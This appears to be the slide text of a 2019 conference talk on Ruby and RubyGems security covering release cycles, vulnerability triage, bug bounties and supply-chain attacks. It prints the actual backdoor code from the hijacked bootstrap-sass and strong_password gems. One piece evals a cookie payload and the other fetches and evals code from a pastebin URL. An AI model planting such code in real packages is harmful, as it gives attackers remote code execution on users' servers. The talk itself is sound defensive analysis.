OSS Security the hard way
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Hiroshi SHIBATA presented on OSS security at the builderscon 2019 conference. The presentation covered: 1. How Ruby handles releases on a regular schedule and processes for stable and development versions. 2. Policies for triaging vulnerabilities based on impact and developing workflow for coordinated security releases. 3. Recent attacks targeting RubyGems where malicious gems were uploaded by hijacking developer accounts or registering typosquatted gems. 4. Steps users can take to improve security like using strong unique passwords, enabling two-factor authentication, and being wary of code injections in gem installations or native extensions.
![• Code for Work
• We should handle it for our job and organization.
• There is social responsibility.
• Code for Hobby = OSS
• There is only social responsibility. [IMO]
Responsibility for Security](https://image.slidesharecdn.com/20190831-builderscon-2019-190831040048/85/OSS-Security-the-hard-way-16-320.jpg)
![• The ruby core team can release default
gems to the rubygems.org. You can install
them via RubyGems.
!
• Default gems are openssl, psych, json, etc.
>> Gem.loaded_specs["did_you_mean"].default_gem?
=> false
>> require 'openssl'
=> true
>> Gem.loaded_specs["openssl"].default_gem?
=> true
Inside Default gems](https://image.slidesharecdn.com/20190831-builderscon-2019-190831040048/85/OSS-Security-the-hard-way-44-320.jpg)
![https://snyk.io/blog/malicious-remote-code-execution-
backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/
The code injection with Rack
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
end](https://image.slidesharecdn.com/20190831-builderscon-2019-190831040048/85/OSS-Security-the-hard-way-48-320.jpg)
![https://snyk.io/blog/ruby-gem-strong_password-found-to-contain-remote-code-execution-code-
in-a-malicious-version-further-strengthening-worries-of-growth-in-supply-chain-attacks/
Case of strong_password
def _!;
begin;
yield;
rescue Exception;
end;
end
_!{
Thread.new {
loop {
_!{
sleep rand * 3333;
eval(
Net::HTTP.get(
URI('https://pastebin.com/raw/xa456PFt')
)
)
}
}
} if Rails.env[0] == "p"
}](https://image.slidesharecdn.com/20190831-builderscon-2019-190831040048/85/OSS-Security-the-hard-way-49-320.jpg)
OSS Security the hard way
- 1. Hiroshi SHIBATA / GMO Pepabo, Inc. 2019.08.31 builderscon 2019 OSS Security The hard way
- 3. Executive Officer VP of Engineering Technical Director at GMO Pepabo, Inc. @pepabo Hiroshi SHIBATA @hsbt https://www.hsbt.org
- 4. No.7
- 5. No.1
- 6. No.5
- 7. • How to release Ruby? • What’s vulnerability? • Workflow for security release • Bog bounty • Gemification • RubyGems.org Agenda
- 8. How to release Ruby? 1.
- 9. Release cycle for the new version We plan to release every Christmas day. • 2.1.0: 2013/12/25 • 2.2.0: 2014/12/25 • 2.3.0: 2015/12/25 • 2.4.0: 2016/12/25 • 2.5.0: 2017/12/25 • 2.6.0: 2018/12/25 • 2.7.0: 2019/12/25(TBD) • 3.0.0: 2020/12/25(TBD)
- 10. We will release the new stable version each 3 months. Release cycle for the stable version
- 13. We adopt to use “Merge button” on GitHub
- 14. We have a many of contributors
- 16. • Code for Work • We should handle it for our job and organization. • There is social responsibility. • Code for Hobby = OSS • There is only social responsibility. [IMO] Responsibility for Security
- 17. • Consider Attack Surface and Attack Vector • Can attack by anonymous? Triage policy for vulnerability Attack Surface Software/System Attack Surface Attack Vector Attack Vector Attack Vector Attacker
- 18. • How effect to CIA • Confidentiality • Integrity • Availability • The decision of other language and libraries • We always refer Python and Go and others Triage policy for vulnerability
- 19. • Accepted case • Rejected case • Complex case The examples of typical workflow
- 20. • Directory Traversal • OS command injection • Vulnerability of bundled code like libffi or libyaml. • Elevation of Privilege Accepted Case Tempfile.create("/../../home/vagrant/blue") {|f| p f.path} if localfile f = open(localfile, “w") # Vulnerable code here. open("| os command","w") elsif !block_given? result = String.new end
- 21. • DirectoryIndex • SSL & Certification • Expected eval case Rejected Case
- 22. • The potential vulnerability discovered by ASAN • SEGV Complex case
- 24. What’s differences? The slide made by @hiboma
- 25. What’s differences? The slide made by @hiboma
- 28. • Mail (security@ruby-lang.org) or HackerOne Receive report https://hackerone.com/ruby
- 29. • What’s vulnerable? • Description • PoC • Impact Triage
- 30. • Resolve the vulnerability with private • Discuss with the original reporter • Avoid the another vulnerability Code
- 31. • Distribution maintener, Service Provider • Other implementation like JRuby, TruffleRuby • Release date • We ignore to release at Friday and weekend • Assign CVE • Announcement • We should write a formal information for disclosing vulnerability Coordinate
- 32. • “The Identify number for the potential vulnerability issue” • That’s all. It’s not impact or authority What’s CVE
- 33. We are working with 3+ people because the branch maintainers are different people. Release
- 34. • We always coordinate to disclose vulnerability to the original reporter. • The reports should coordinate to us too. Disclose
- 36. Bug Bounty 4.
- 37. • We only set the bug bounty on HackerOne, not mail. • It’s provided by IBB What's bug bounty https://internetbugbounty.org
- 38. • $500: Demonstrate the presence of a security bug with probable remote exploitation potential. • $1000: Demonstrate that remote exploitation of this bug is very likely (e.g. good control a register). • $1500: Demonstrate that remote exploitation of this bug can be easily, actively, and reliably achieved. Bounty Policy
- 39. • The configuration of AWS S3 • The configurations of CDN or PaaS • The configuration of GitHub • Copy and Paste Web page and spam report • Copy and Paste the old CVE report • … Noise Problem
- 40. • The scam act is harmful for all of people • The people become the offensive for money • The vulnerability of other language or library has been discovered. We got the many of reports. Bounty is no silver ballet
- 41. Gemification 5.
- 42. • We called its “標準添付ライブラリ” in Japanese. • It needs to `require` difference from embedded libraries like String, Thread, etc. • It can be used without Bundler or RubyGems What’s the Standard library?
- 43. Classification of standard libraries Standard Libraries Default Gems Bundled Gems Pure Ruby 44 22 7 C extensions 12 16 0 This matrix shows number of standard libraries and their classifications in Ruby 2.6.
- 44. • The ruby core team can release default gems to the rubygems.org. You can install them via RubyGems. ! • Default gems are openssl, psych, json, etc. >> Gem.loaded_specs["did_you_mean"].default_gem? => false >> require 'openssl' => true >> Gem.loaded_specs["openssl"].default_gem? => true Inside Default gems
- 45. • : Maintainers can release gem for bugfix, new feature independent with Ruby core. • : If upstream is available on GitHub, Ruby users easily send patch via Pull request. • : Maintainers need to maintain ruby core and ruby gems both. • : Abandoned and complex dependency on rubygems and bundler. Pros and Cons of Gemification
- 46. RubyGems.org 6.
- 47. • Account hijack • rest-client, bootstrap-sass, strong_password • They are completely malicious case • Typo squatting • active-support, bandler, capistrano-colors • It’s contained the fake gem by the security researchers Recent attacks
- 48. https://snyk.io/blog/malicious-remote-code-execution- backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/ The code injection with Rack begin require 'rack/sendfile' if Rails.env.production? Rack::Sendfile.tap do |r| r.send :alias_method, :c, :call r.send(:define_method, :call) do |e| begin x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s) eval(x) if x rescue Exception end c(e) end end end rescue Exception nil end
- 49. https://snyk.io/blog/ruby-gem-strong_password-found-to-contain-remote-code-execution-code- in-a-malicious-version-further-strengthening-worries-of-growth-in-supply-chain-attacks/ Case of strong_password def _!; begin; yield; rescue Exception; end; end _!{ Thread.new { loop { _!{ sleep rand * 3333; eval( Net::HTTP.get( URI('https://pastebin.com/raw/xa456PFt') ) ) } } } if Rails.env[0] == "p" }
- 50. • RubyGems have the hooks for `gem install` • Also have hook for native extension Code injection for `gem install` Gem.pre_install do |installer| puts “All your base are belong to us” end Gem.post_install do |installer| puts “All your base are belong to us” end
- 51. rubygems.org was attacked with pawned password. https://news.ycombinator.com/item?id=20745768 Why your account was hijacked? “My RubyGems.org account was using an insecure, reused password that has leaked to the internet in other breaches."
- 52. What can we do?
- 53. Do not re-use your password
- 54. Use the strong password (prefer 22+ chars)
- 55. Prepare two factor authentication With RubyGems 3
- 56. The attacker is not script-kiddy • “2FA should become mandatory” • The attackers already got the weak accounts, 2FA is not prevent to ship malicious gems. • It can care only in the future. • “Can we reset the all of credentials?” Bikeshed for security
- 57. • “Notice banner for pawned password" • “Show the verified badge for 2FA" • But It also show the weak account. • “Prepare 2FA mandatory with a popular gems" • How define “popular”? • The attacker make the fake download count by theirselves. What’s do rubygems.org?
- 58. • “Notify the all owners when gem pushed”(done!) What’s do rubygems.org?(2) • “Integrate GitHub commits” • GitHub is not the central in the world :) • BitBucket, GitLab, and your git sever is vulnerable?
- 59. Added Webauthn feature(!!1) What’s do rubygems.org?(3)
- 61. Wrap-up
- 62. Do not re-use your password Use the strong password (prefer 22+ chars) Prepare two factor authentication With RubyGems 3